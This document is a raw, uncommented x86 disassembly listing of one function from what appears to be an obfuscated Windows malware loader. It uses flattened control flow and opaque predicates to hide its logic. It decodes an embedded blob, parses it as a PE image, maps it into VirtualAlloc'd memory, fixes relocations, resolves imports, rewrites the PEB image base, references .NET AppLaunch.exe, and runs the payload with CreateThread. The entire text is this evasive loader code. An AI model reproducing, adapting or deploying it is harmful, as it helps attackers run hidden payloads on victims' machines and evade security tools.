mov dword [ebp - 0x4b2d0], eax
mov eax, dword [ebp - 0x4b240]
mov eax, 0x1c65ce3a
jmp 0x401de0
mov eax, 0x3a58e6cd
jmp 0x401de0
mov edx, dword [0x4b03f8]
mov eax, dword [0x4b03f4]
mov edi, 0x3bd6ea18
lea ecx, [edx + 1]
imul ecx, edx
mov edx, ecx
xor edx, 0xfffffffe
test edx, ecx
sete bl
cmp eax, 0xa
setl bh
xor bh, bl
mov ebx, 0xad6f067f
jmp 0x4056ba
mov edx, dword [0x4b03f8]
mov eax, dword [0x4b03f4]
mov edi, 0xd4d9645a
lea ecx, [edx + 1]
imul ecx, edx
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete dl
cmp eax, 0xa
setl dh
xor dh, dl
mov edx, 0x55b4d787
jmp 0x405675
mov eax, 0x5cf7abca
jmp 0x401de0
mov edx, dword [0x4b03f8]
mov ecx, dword [0x4b03f4]
mov edi, 0xb2992645
lea eax, [edx + 1]
imul eax, edx
mov edx, eax
xor edx, 0xfffffffe
test edx, eax
sete bl
cmp ecx, 0xa
setl bh
xor bh, bl
mov ebx, 0x294770c0
cmovne ebx, edi
test edx, eax
mov eax, ebx
cmove eax, edi
mov edi, dword [ebp - 0x4b2e4]
cmp ecx, 0xa
mov edx, dword [ebp - 0x4b2e0]
cmovge eax, ebx
cmp edx, dword [edi + 0x1c]
setne byte [ebp - 0x4b25a]
jmp 0x401de0
mov eax, dword [ebp - 0x4b2d0]
mov edi, 0x43cf72f9
mov ebx, 0x55b4d787
mov dword [ebp - 0x4b284], eax
mov eax, dword [0x4b03f8]
lea ecx, [eax - 1]
imul ecx, eax
mov eax, 0x55b4d787
jmp 0x401dbb
mov eax, dword [ebp - 0x4b224]
mov ebx, 0x6d7d5c06
mov edi, 0xe09fa036
add eax, 0x18
mov dword [ebp - 0x4b2e4], eax
mov eax, dword [0x4b03f8]
lea ecx, [eax + 1]
imul eax, ecx
mov ecx, eax
xor ecx, 0xfffffffe
test ecx, eax
mov eax, 0xe09fa036
jmp 0x40588c
mov eax, 0xce2141dd
jmp 0x401de0
mov edx, dword [0x4b03f8]
mov ecx, dword [0x4b03f4]
mov edi, 0xa9f680b
lea eax, [edx + 1]
imul eax, edx
not eax
or eax, 0xfffffffe
cmp eax, 0xffffffff
sete dl
cmp ecx, 0xa
setl dh
xor dh, dl
mov edx, 0xba44e583
jmp 0x4058d8
mov edx, dword [0x4b03f8]
mov eax, dword [0x4b03f4]
mov edi, 0x46d07f1a
lea ecx, [edx + 1]
imul ecx, edx
mov edx, ecx
xor edx, 0xfffffffe
test edx, ecx
sete bl
cmp eax, 0xa
setl bh
xor bh, bl
mov ebx, 0xf9add23d
jmp 0x4056ba
push 4
push 0x3000
push dword [ebp - 0x4b2dc]
push dword [ebp - 0x4b308]
vzeroupper
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov edx, dword [0x4b03f8]
mov esi, eax
mov ecx, dword [0x4b03f4]
mov edi, 0xed52f9e1
lea eax, [edx + 1]
imul eax, edx
not eax
or eax, 0xfffffffe
cmp eax, 0xffffffff
sete dl
cmp ecx, 0xa
setl dh
xor dh, dl
mov edx, 0x80ba6b1a
cmovne edx, edi
cmp eax, 0xffffffff
mov eax, edx
cmove eax, edi
cmp ecx, 0xa
cmovge eax, edx
cmp dword [ebp - 0x4b2c0], 0
sete byte [ebp - 0x4b259]
jmp 0x401de0
mov eax, dword [ebp - 0x4b224]
add eax, 0x18
mov dword [ebp - 0x4b320], eax
mov eax, 0x7103895f
jmp 0x401de0
cmp dword [ebp - 0x4b2c8], 0
mov eax, 0x372b1fba
mov ecx, 0xd3fc5389
cmove eax, ecx
jmp 0x401de0
mov eax, 0x1483ca5e
jmp 0x401de0
mov eax, dword [0x4b03f8]
mov ebx, 0x346c3a94
mov edi, 0xc1872c47
lea ecx, [eax + 1]
imul ecx, eax
mov eax, 0xc1872c47
jmp 0x405884
mov eax, 0x2f666104
jmp 0x401de0
push 0x64
vzeroupper
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [ebp - 0x4b24c]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x4b2a4]
vmovsd xmm0, qword [ecx]
vmovsd qword [eax], xmm0
mov eax, 0xf1573247
jmp 0x401de0
mov eax, dword [ebp - 0x4b290]
mov eax, dword [ebp - 0x4b240]
mov eax, dword [eax]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x4b290]
add eax, esi
mov dword [ecx], eax
mov eax, dword [ebp - 0x4b2b0]
mov eax, dword [ebp - 0x4b240]
mov eax, dword [eax]
mov eax, dword [eax + 4]
mov ecx, dword [ebp - 0x4b2b0]
add eax, 0xfffffff8
shr eax, 1
mov dword [ecx], eax
mov eax, dword [ebp - 0x4b22c]
mov eax, dword [ebp - 0x4b240]
mov eax, dword [eax]
mov dword [ebp - 0x4b344], eax
mov eax, 0xcd7acb4f
jmp 0x401de0
mov eax, dword [ebp - 0x4b390]
mov eax, dword [eax]
add eax, dword [ebp - 0x4b38c]
mov ecx, dword [ebp - 0x4b21c]
mov ecx, dword [ecx]
mov edx, dword [ebp - 0x4b388]
mov dword [eax + ecx*4], edx
mov eax, dword [ebp - 0x4b248]
mov eax, dword [ebp - 0x4b274]
mov eax, 0x853da46c
jmp 0x401de0
mov eax, dword [0x4b03f8]
mov ebx, 0x6dca984e
mov edi, 0x1f23148b
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov eax, 0x1f23148b
jmp 0x40588c
cmp dword [ebp - 0x4b398], 0
mov eax, 0x59d0e1b4
jmp 0x404c58
mov dword [ebp - 0x4b220], 0
mov eax, 0x1483ca5e
jmp 0x401de0
mov eax, 0x38b92e25
jmp 0x401de0
mov edx, dword [0x4b03f8]
mov ecx, dword [0x4b03f4]
mov edi, 0x44b0e6e4
lea eax, [edx + 1]
imul eax, edx
mov edx, eax
xor edx, 0xfffffffe
test edx, eax
sete bl
cmp ecx, 0xa
setl bh
xor bh, bl
mov ebx, 0xd5e1c109
jmp 0x405a34
mov eax, dword [ebp - 0x4b39c]
not eax
or eax, 0xdfffffff
cmp eax, 0xffffffff
mov eax, 0xfb06e3e2
mov ecx, 0xe2c155ee
cmove eax, ecx
jmp 0x401de0
mov eax, dword [ebp - 0x4b2c8]
mov ecx, 0x5d4640e5
cmp eax, 0xc
mov eax, 0x372b1fba
cmove eax, ecx
jmp 0x401de0
mov eax, dword [ebp - 0x4b230]
mov edi, 0x933bf555
mov ebx, 0x27caea8a
mov dword [eax], 4
mov eax, dword [0x4b03f8]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov eax, 0x27caea8a
jmp 0x401dc3
mov eax, dword [ebp - 0x4b228]
mov eax, dword [eax]
mov dword [ebp - 0x4b304], eax
mov eax, 0x271a350d
jmp 0x401de0
mov edx, dword [0x4b03f8]
mov eax, dword [0x4b03f4]
mov edi, 0xa823dfbd
lea ecx, [edx + 1]
imul ecx, edx
mov edx, ecx
xor edx, 0xfffffffe
test edx, ecx
sete bl
cmp eax, 0xa
setl bh
xor bh, bl
mov ebx, 0x6e1a812f
jmp 0x4056ba
mov edx, dword [0x4b03f8]
mov ecx, dword [0x4b03f4]
mov edi, 0xb7135a84
lea eax, [edx + 1]
imul eax, edx
mov edx, eax
xor edx, 0xfffffffe
test edx, eax
sete bl
cmp ecx, 0xa
setl bh
xor bh, bl
mov ebx, 0x221d3e6d
jmp 0x405a34
mov edx, dword [0x4b03f8]
mov ecx, dword [0x4b03f4]
mov edi, 0x421602a3
lea eax, [edx + 1]
imul eax, edx
mov edx, eax
xor edx, 0xfffffffe
test edx, eax
sete bl
cmp ecx, 0xa
setl bh
xor bh, bl
mov ebx, 0xb564911
jmp 0x405a34
cmp byte [ebp - 0x4b25c], 0
mov eax, 0xcab624a4
mov ecx, 0xc4bcc167
cmovne eax, ecx
jmp 0x401de0
mov eax, 0x4309d961
jmp 0x401de0
mov edx, dword [0x4b03f8]
mov eax, dword [0x4b03f4]
mov edi, 0xbd33b639
lea ecx, [edx + 1]
imul ecx, edx
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete dl
cmp eax, 0xa
setl dh
xor dh, dl
mov edx, 0x44c2b424
jmp 0x405675
mov edx, dword [0x4b03f8]
mov ecx, dword [0x4b03f4]
mov edi, 0x7eda0e11
lea eax, [edx + 1]
imul eax, edx
mov edx, eax
xor edx, 0xfffffffe
test edx, eax
sete bl
cmp ecx, 0xa
setl bh
xor bh, bl
mov ebx, 0x219b5a00
jmp 0x405a34
mov eax, 0xa3bb8eab
jmp 0x401de0
mov eax, dword [ebp - 0x4b214]
mov eax, dword [eax]
mov ecx, eax
xor ecx, 0xbfffffff
and ecx, eax
mov eax, 0x9665bc1c
mov dword [ebp - 0x4b3a4], ecx
jmp 0x401de0
mov eax, dword [ebp - 0x4b228]
mov eax, dword [eax]
inc eax
mov dword [ebp - 0x4b3b8], eax
mov eax, 0xe32ddfbf
jmp 0x401de0
mov eax, 0xc0c2c161
jmp 0x401de0
mov edx, dword [0x4b03f8]
mov ecx, dword [0x4b03f4]
mov edi, 0x30f5fcfb
lea eax, [edx + 1]
imul eax, edx
not eax
or eax, 0xfffffffe
cmp eax, 0xffffffff
sete dl
cmp ecx, 0xa
setl dh
xor dh, dl
mov edx, 0x21b2a33d
jmp 0x4058d8
mov edx, dword [0x4b03f8]
mov ecx, dword [0x4b03f4]
mov edi, 0xabf1adae
lea eax, [edx + 1]
imul eax, edx
mov ebx, eax
xor ebx, 0xfffffffe
test ebx, eax
sete dl
cmp ecx, 0xa
setl dh
xor dh, dl
mov edx, 0x54054861
cmovne edx, edi
test ebx, eax
mov eax, edx
cmove eax, edi
cmp ecx, 0xa
mov ecx, dword [ebp - 0x4b238]
cmovge eax, edx
mov ecx, dword [ecx]
mov ebx, dword [ebp - 0x4b21c]
mov ebx, dword [ebx]
lea ecx, [ecx + ebx*4]
mov dword [ebp - 0x4b37c], ecx
jmp 0x401de0
cmp dword [ebp - 0x4b370], 0
mov eax, 0x382c15b9
setne byte [ebp - 0x4b25f]
jmp 0x401de0
mov eax, 0x3bd6ea18
jmp 0x401de0
mov eax, dword [ebp - 0x4b2c4]
mov eax, dword [ebp - 0x4b228]
mov eax, dword [ebp - 0x4b228]
mov dword [eax], 0
mov eax, 0x3682fff7
jmp 0x401de0
mov eax, dword [ebp - 0x4b244]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x4b234]
mov ecx, dword [ecx]
lea ecx, [ecx + ecx*4]
mov eax, dword [eax + ecx*4 + 0x10]
mov dword [ebp - 0x4b370], eax
mov eax, 0x26b7cc56
jmp 0x401de0
mov edx, dword [0x4b03f8]
mov ecx, dword [0x4b03f4]
mov edi, 0x38062c04
lea eax, [edx + 1]
imul eax, edx
not eax
or eax, 0xfffffffe
cmp eax, 0xffffffff
sete dl
cmp ecx, 0xa
setl dh
xor dh, dl
mov edx, 0x15ccd52
cmovne edx, edi
cmp eax, 0xffffffff
mov eax, edx
cmove eax, edi
mov edi, dword [ebp - 0x4b250]
cmp ecx, 0xa
cmovge eax, edx
mov dword [ebp - 0x4b330], edi
jmp 0x401de0
mov eax, dword [ebp - 0x4b248]
mov edi, 0x1df9abf9
mov ebx, 0x91d7e8f0
mov eax, dword [eax]
mov dword [ebp - 0x4b38c], esi
mov dword [ebp - 0x4b388], eax
mov eax, dword [ebp - 0x4b244]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x4b234]
mov ecx, dword [ecx]
lea ecx, [ecx + ecx*4]
lea eax, [eax + ecx*4 + 0x10]
mov dword [ebp - 0x4b390], eax
mov eax, dword [0x4b03f8]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, 0x91d7e8f0
jmp 0x401dbb
mov eax, dword [0x4b03f8]
mov ebx, 0x52205145
mov edi, 0xb5401c37
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov eax, 0xb5401c37
jmp 0x40588c
mov eax, 0x9447b91
jmp 0x401de0
mov edx, dword [0x4b03f8]
mov ecx, dword [0x4b03f4]
mov edi, 0xc5c1a4a5
lea eax, [edx - 1]
imul eax, edx
not eax
or eax, 0xfffffffe
cmp eax, 0xffffffff
sete dl
cmp ecx, 0xa
setl dh
xor dh, dl
mov edx, 0x12acb3fa
jmp 0x4058d8
mov eax, 0x99fb8940
jmp 0x401de0
mov eax, 0xd194fe7b
mov dword [ebp - 0x4b2d4], 1
jmp 0x401de0
mov dword [ebp - 0x4b220], 0xa
mov eax, 0x19c0f3b6
jmp 0x401de0
mov eax, dword [ebp - 0x4b318]
mov eax, dword [eax]
mov dword [ebp - 0x4b31c], eax
mov eax, 0xe0cf9770
mov ecx, dword [ebp - 0x4b31c]
mov dword [ebp - 0x4b2d8], ecx
jmp 0x401de0
mov eax, dword [ebp - 0x4b300]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x4b28c]
mov ecx, dword [ebp - 0x4b28c]
mov ecx, dword [ebp - 0x4b28c]
mov ecx, dword [ebp - 0x4b28c]
add eax, dword [ebp - 0x4b28c]
mov ecx, dword [ebp - 0x4b238]
mov dword [ecx], eax
mov eax, dword [ebp - 0x4b21c]
mov eax, dword [ebp - 0x4b21c]
mov dword [eax], 0
mov eax, 0x1169b558
jmp 0x401de0
mov eax, 0x4c6b7ac
jmp 0x401de0
mov eax, dword [ebp - 0x4b214]
mov eax, dword [eax]
mov dword [ebp - 0x4b2a8], eax
mov eax, 0x7d7bae54
jmp 0x401de0
mov eax, 0xb2e124fd
jmp 0x401de0
mov eax, dword [ebp - 0x4b3b0]
add eax, dword [ebp - 0x4b3b4]
push dword [ebp - 0x4b2c4]
push dword [ebp - 0x4b3a8]
push dword [ebp - 0x4b3ac]
push eax
vzeroupper
call fcn.00401cf0
add esp, 0x10
mov eax, dword [ebp - 0x4b214]
mov eax, dword [ebp - 0x4b230]
mov eax, 0xa9cbe2a
jmp 0x401de0
mov eax, dword [ebp - 0x4b234]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x4b234]
inc eax
mov dword [ecx], eax
mov eax, 0xc7eb413b
jmp 0x401de0
mov eax, dword [0x4b03f8]
mov edi, 0xce2141dd
mov ebx, 0x1d459dbd
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov eax, 0x1d459dbd
jmp 0x401dc3
mov eax, dword [ebp - 0x4b214]
mov eax, dword [eax]
mov dword [ebp - 0x4b39c], eax
mov eax, 0xe88bc0b2
jmp 0x401de0
mov eax, dword [ebp - 0x4b1d4]
lea ecx, [ebp - 0x4b210]
cmp dword [eax + ecx], 0x4550
lea edx, [eax + ecx]
mov eax, 0x72b0f997
mov ecx, 0x9e784c08
mov dword [ebp - 0x4b224], edx
cmove eax, ecx
jmp 0x401de0
mov eax, dword [ebp - 0x4b294]
mov eax, dword fs:[0x30]
mov ecx, dword [ebp - 0x4b294]
vmovups ymm0, ymmword [0x4a34d6]
vmovups ymm1, ymmword [0x4a34be]
vmovups ymm2, ymmword [0x4a349e]
mov dword [ecx], eax
mov eax, dword [ebp - 0x4b2b8]
mov eax, dword [ebp - 0x4b294]
mov eax, dword [eax]
mov eax, dword [eax + 0xc]
mov ecx, dword [ebp - 0x4b2b8]
mov dword [ecx], eax
mov eax, dword [ebp - 0x4b298]
mov eax, dword [ebp - 0x4b2b8]
mov eax, dword [eax]
mov eax, dword [eax + 0x14]
mov ecx, dword [ebp - 0x4b298]
add eax, 0xfffffff8
mov dword [ecx], eax
mov eax, dword [ebp - 0x4b294]
mov eax, dword [eax]
mov dword [eax + 8], esi
mov eax, dword [ebp - 0x4b298]
mov eax, dword [eax]
mov dword [eax + 0x18], esi
mov eax, dword [ebp - 0x4b24c]
mov eax, dword [ebp - 0x4b298]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x4b24c]
add eax, 0x24
mov dword [ecx], eax
mov eax, dword [ebp - 0x4b29c]
mov eax, dword [ebp - 0x4b29c]
vmovups ymmword [eax + 0x58], ymm0
vmovups ymmword [eax + 0x40], ymm1
vmovups ymm1, ymmword [str.C:WindowsMicrosoft.NETFramework_v4.0.30319AppLaunch.exe]
vmovups ymmword [eax + 0x20], ymm2
vmovups ymmword [eax], ymm1
mov eax, dword [ebp - 0x4b2a0]
mov eax, dword [ebp - 0x4b224]
cmp dword [eax + 0xe8], 0
mov eax, 0xb1c81e32
setne byte [ebp - 0x4b266]
jmp 0x401de0
push 0x400
lea eax, [ebp - 0x4b210]
push eax
push esi
vzeroupper
call fcn.0043ca90
add esp, 0xc
mov ecx, dword [ebp - 0x4b224]
lea eax, [ecx + 0x18]
mov dword [ebp - 0x4b278], eax
lea eax, [ecx + 4]
mov dword [ebp - 0x4b324], eax
mov eax, 0x5de0be35
jmp 0x401de0
cmp byte [ebp - 0x4b25d], 0
mov eax, 0x4efddb0b
mov ecx, 0x9565f5dc
cmovne eax, ecx
jmp 0x401de0
mov edx, dword [0x4b03f8]
mov ecx, dword [0x4b03f4]
mov edi, 0x3ad270ef
lea eax, [edx + 1]
imul eax, edx
mov edx, eax
xor edx, 0xfffffffe
test edx, eax
sete bl
cmp ecx, 0xa
setl bh
xor bh, bl
mov ebx, 0x221d3e6d
cmovne ebx, edi
test edx, eax
mov eax, ebx
cmove eax, edi
cmp ecx, 0xa
movzx ecx, word [ebp - 0x4b2aa]
cmovge eax, ebx
add ecx, dword [ebp - 0x4b278]
mov dword [ebp - 0x4b250], 0
mov dword [ebp - 0x4b254], ecx
jmp 0x401de0
mov eax, 0x221a6778
jmp 0x401de0
mov eax, dword [ebp - 0x4b2d8]
mov edi, 0x57022ddb
mov ebx, 0x80ba6b1a
mov dword [ebp - 0x4b308], eax
mov eax, dword [0x4b03f8]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, 0x80ba6b1a
jmp 0x401dbb
mov eax, 0x2bfe323d
jmp 0x401de0
mov eax, dword [0x4b03f8]
mov ebx, 0xf1cec0c7
mov edi, 0x54054861
lea ecx, [eax + 1]
imul ecx, eax
mov eax, 0x54054861
jmp 0x405884
mov eax, 0x71fa7417
jmp 0x401de0
mov edx, dword [0x4b03f8]
mov ecx, dword [0x4b03f4]
mov edi, 0x530eab10
lea eax, [edx + 1]
imul eax, edx
not eax
or eax, 0xfffffffe
cmp eax, 0xffffffff
sete dl
cmp ecx, 0xa
setl dh
xor dh, dl
mov edx, 0x447023bd
jmp 0x4058d8
mov eax, dword [ebp - 0x4b230]
mov dword [eax], 4
mov eax, 0xa6e98a13
jmp 0x401de0
cmp byte [ebp - 0x4b262], 0
mov eax, 0xe2c155ee
mov ecx, 0x12c5de2a
cmovne eax, ecx
jmp 0x401de0
cmp byte [ebp - 0x4b263], 0
mov eax, 0xee71b638
mov ecx, 0xe7800ece
cmovne eax, ecx
jmp 0x401de0
mov eax, dword [0x4b03f8]
mov edi, 0x2716a3e2
mov ebx, 0xae75cd5a
lea ecx, [eax + 1]
imul ecx, eax
mov eax, 0xae75cd5a
jmp 0x401dbb
mov eax, dword [ebp - 0x4b23c]
mov edi, 0xc934e942
mov ebx, 0x2b0470d5
sub eax, dword [ebp - 0x4b218]
mov dword [ebp - 0x4b2d0], eax
mov eax, dword [ebp - 0x4b240]
mov eax, dword [ebp - 0x4b30c]
add eax, esi
mov dword [ebp - 0x4b33c], eax
mov eax, dword [0x4b03f8]
lea ecx, [eax + 1]
imul eax, ecx
mov ecx, eax
xor ecx, 0xfffffffe
test ecx, eax
mov eax, 0x2b0470d5
jmp 0x401dc3
mov eax, dword [0x4b03f8]
mov edi, 0x3ce1cc32
mov ebx, 0x60acb5f0
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov eax, 0x60acb5f0
jmp 0x401dc3
mov dword [ebp - 0x4b220], 0xd
mov eax, 0x2ef46a7b
jmp 0x401de0
mov eax, dword [ebp - 0x4b250]
mov dword [ebp - 0x4b328], eax
mov eax, dword [ebp - 0x4b224]
movzx eax, word [eax + 6]
mov word [ebp - 0x4b2ca], ax
mov eax, 0x9a11ed58
jmp 0x401de0
mov eax, 0x6e6080e
jmp 0x401de0
mov eax, dword [0x4b03f8]
mov edi, 0x1b16829e
mov ebx, 0x1c2c64cb
lea ecx, [eax - 1]
imul ecx, eax
mov eax, 0x1c2c64cb
jmp 0x401dbb
mov eax, 0x229c4d6
jmp 0x401de0
mov edx, dword [0x4b03f8]
mov ecx, dword [0x4b03f4]
mov edi, 0x4309d961
lea eax, [edx + 1]
imul eax, edx
mov edx, eax
xor edx, 0xfffffffe
test edx, eax
sete bl
cmp ecx, 0xa
setl bh
xor bh, bl
mov ebx, 0xfbc2d6a9
jmp 0x405a34
mov eax, dword [ebp - 0x4b26c]
mov eax, dword [eax]
mov dword [ebp - 0x4b340], eax
mov eax, 0x1cc74125
jmp 0x401de0
mov eax, 0xa3bb8eab
jmp 0x401de0
mov eax, dword [ebp - 0x4b240]
mov eax, 0x7a8d174f
jmp 0x401de0
mov eax, 0xa04e8e31
jmp 0x401de0
mov eax, dword [ebp - 0x4b2a8]
mov eax, dword [ebp - 0x4b2a8]
mov eax, dword [ebp - 0x4b2a8]
mov eax, dword [ebp - 0x4b2a8]
mov eax, 0x6dca984e
jmp 0x401de0
mov edx, dword [0x4b03f8]
mov eax, dword [0x4b03f4]
mov edi, 0x9ae7706
lea ecx, [edx + 1]
imul ecx, edx
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete dl
cmp eax, 0xa
setl dh
xor dh, dl
mov edx, 0x6e1a812f
jmp 0x405675
mov eax, dword [ebp - 0x4b2d4]
mov dword [ebp - 0x4b3c8], eax
mov eax, 0xe50707da
jmp 0x401de0
mov eax, 0xf7d9a011
jmp 0x401de0
mov eax, dword [ebp - 0x4b300]
mov edi, 0x8e236029
mov eax, dword [eax]
add eax, dword [ebp - 0x4b28c]
mov ecx, dword [ebp - 0x4b238]
mov dword [ecx], eax
mov eax, dword [ebp - 0x4b21c]
mov eax, dword [ebp - 0x4b21c]
mov dword [eax], 0
mov edx, dword [0x4b03f8]
mov eax, dword [0x4b03f4]
lea ecx, [edx + 1]
imul ecx, edx
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete dl
cmp eax, 0xa
setl dh
xor dh, dl
mov edx, 0x886aa2c8
cmovne edx, edi
cmp ecx, 0xffffffff
mov ecx, edx
cmove ecx, edi
cmp eax, 0xa
cmovge ecx, edx
mov eax, ecx
jmp 0x401de0
mov edx, dword [0x4b03f8]
mov eax, dword [0x4b03f4]
mov edi, 0xbe61b224
lea ecx, [edx + 1]
imul ecx, edx
mov edx, ecx
xor edx, 0xfffffffe
test edx, ecx
sete bl
cmp eax, 0xa
setl bh
xor bh, bl
mov ebx, 0x89b4b283
cmovne ebx, edi
test edx, ecx
mov ecx, ebx
cmove ecx, edi
cmp eax, 0xa
cmovge ecx, ebx
mov eax, ecx
jmp 0x401de0
mov eax, dword [ebp - 0x4b3c4]
mov eax, dword [eax + 0x28]
add eax, dword [ebp - 0x4b3c0]
push 0
push 0
push 0
push eax
push 0
push 0
vzeroupper
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov ecx, dword [ebp - 0x4b2bc]
mov dword [ecx], eax
mov ecx, 0xa04e8e31
mov eax, dword [ebp - 0x4b2a0]
cmp byte [eax], 0
mov eax, 0xf9838412
cmove eax, ecx
jmp 0x401de0
cmp byte [ebp - 0x4b25e], 0
mov eax, 0xa07b509b
mov ecx, 0x6915966c
cmovne eax, ecx
jmp 0x401de0
mov edx, dword [0x4b03f8]
mov eax, dword [0x4b03f4]
mov edi, 0x66bd9450
lea ecx, [edx - 1]
imul ecx, edx
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete dl
cmp eax, 0xa
setl dh
xor dh, dl
mov edx, 0x506e3139
cmovne edx, edi
cmp ecx, 0xffffffff
mov ecx, edx
cmove ecx, edi
cmp eax, 0xa
mov eax, dword [ebp - 0x4b224]
cmovge ecx, edx
movzx eax, word [eax + 6]
mov edx, dword [ebp - 0x4b304]
cmp edx, eax
mov eax, ecx
setl byte [ebp - 0x4b261]
jmp 0x401de0
mov eax, dword [ebp - 0x4b274]
mov eax, dword [0x4b03f8]
mov edi, 0x26b6667e
mov ebx, 0x5c3b6703
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov eax, 0x5c3b6703
jmp 0x401dc3
mov eax, dword [ebp - 0x4b230]
mov dword [eax], 2
mov eax, 0x4838020
jmp 0x401de0
mov eax, dword [ebp - 0x4b230]
mov dword [eax], 0x40
mov eax, dword [ebp - 0x4b214]
mov eax, dword [ebp - 0x4b228]
mov ecx, dword [ebp - 0x4b254]
mov eax, dword [eax]
lea eax, [eax + eax*4]
mov eax, dword [ecx + eax*8 + 0x24]
mov ecx, dword [ebp - 0x4b214]
mov dword [ecx], eax
mov eax, dword [ebp - 0x4b214]
mov eax, 0xa740cfe0
jmp 0x401de0
mov eax, dword [ebp - 0x4b274]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x4b258]
add eax, 2
push eax
push dword [ecx]
vzeroupper
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x4b384], eax
mov eax, dword [0x4b03f8]
mov ebx, 0xb9d538b8
mov edi, 0xe1762e87
lea ecx, [eax - 1]
imul ecx, eax
mov eax, 0xe1762e87
jmp 0x405884
mov eax, dword [ebp - 0x4b240]
mov eax, dword [eax]
mov eax, dword [eax + 4]
mov dword [ebp - 0x4b35c], eax
mov eax, 0x4fb0849
jmp 0x401de0
mov eax, dword [0x4b03f8]
mov ebx, 0x29b9946c
mov edi, 0xfbc2d6a9
lea ecx, [eax + 1]
imul ecx, eax
mov eax, 0xfbc2d6a9
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete cl
cmove eax, ebx
cmp dword [0x4b03f4], 0xa
setl dl
cmovge eax, edi
xor dl, cl
cmovne eax, ebx
jmp 0x401de0
mov edx, dword [0x4b03f8]
mov ecx, dword [0x4b03f4]
mov edi, 0x611fe871
lea eax, [edx - 1]
imul eax, edx
not eax
or eax, 0xfffffffe
cmp eax, 0xffffffff
sete dl
cmp ecx, 0xa
setl dh
xor dh, dl
mov edx, 0xa25736e
cmovne edx, edi
cmp eax, 0xffffffff
mov eax, edx
cmove eax, edi
cmp ecx, 0xa
cmovge eax, edx
jmp 0x401de0
push eax
mov eax, esp
mov dword [ebp - 0x4b240], eax
push eax
mov eax, esp
mov dword [ebp - 0x4b26c], eax
push eax
mov eax, esp
mov dword [ebp - 0x4b290], eax
push eax
mov eax, esp
mov dword [ebp - 0x4b2b0], eax
push eax
mov eax, esp
mov dword [ebp - 0x4b22c], eax
push eax
mov eax, esp
mov dword [ebp - 0x4b270], eax
push eax
mov eax, esp
mov dword [ebp - 0x4b244], eax
push eax
mov eax, esp
mov dword [ebp - 0x4b234], eax
push eax
mov eax, esp
mov dword [ebp - 0x4b2b4], eax
push eax
mov eax, esp
mov dword [ebp - 0x4b258], eax
push eax
mov eax, esp
mov dword [ebp - 0x4b238], eax
push eax
mov eax, esp
mov dword [ebp - 0x4b21c], eax
push eax
mov eax, esp
mov dword [ebp - 0x4b274], eax
push eax
mov eax, esp
mov dword [ebp - 0x4b248], eax
push eax
mov eax, esp
mov dword [ebp - 0x4b2c4], eax
push eax
mov eax, esp
mov dword [ebp - 0x4b228], eax
push eax
mov eax, esp
mov dword [ebp - 0x4b230], eax
push eax
mov eax, esp
mov dword [ebp - 0x4b214], eax
push eax
mov eax, esp
mov dword [ebp - 0x4b294], eax
push eax
mov eax, esp
mov dword [ebp - 0x4b2b8], eax
push eax
mov eax, esp
mov dword [ebp - 0x4b298], eax
push eax
mov eax, esp
mov dword [ebp - 0x4b24c], eax
sub esp, 0x78
mov eax, esp
mov dword [ebp - 0x4b29c], eax
push eax
mov eax, esp
mov dword [ebp - 0x4b2a0], eax
sub esp, 8
mov eax, esp
mov dword [ebp - 0x4b2a4], eax
push eax
mov eax, esp
mov dword [ebp - 0x4b2bc], eax
push 0x4b200
push 0x45827e
lea edi, [ebp - 0x4b210]
push edi
vzeroupper
call fcn.0043ca90
add esp, 0xc
push 0x4b200
push edi
call fcn.004015a0
add esp, 8
mov edx, dword [0x4b03f8]
mov ecx, dword [0x4b03f4]
mov edi, 0x26cb278a
lea eax, [edx + 1]
imul eax, edx
mov edx, eax
xor edx, 0xfffffffe
test edx, eax
sete bl
cmp ecx, 0xa
setl bh
xor bh, bl
mov ebx, 0xae75cd5a
cmovne ebx, edi
test edx, eax
mov eax, ebx
cmove eax, edi
cmp ecx, 0xa
cmovge eax, ebx
jmp 0x401de0
mov eax, dword [ebp - 0x4b354]
add eax, 2
mov dword [ebp - 0x4b2f8], eax
mov eax, 0x2b921aad
jmp 0x401de0
cmp eax, 0xe50707da
jne 0x401de0
mov esi, dword [ebp - 0x4b3c8]
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
vzeroupper
call fcn.00439c00
mov eax, esi
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret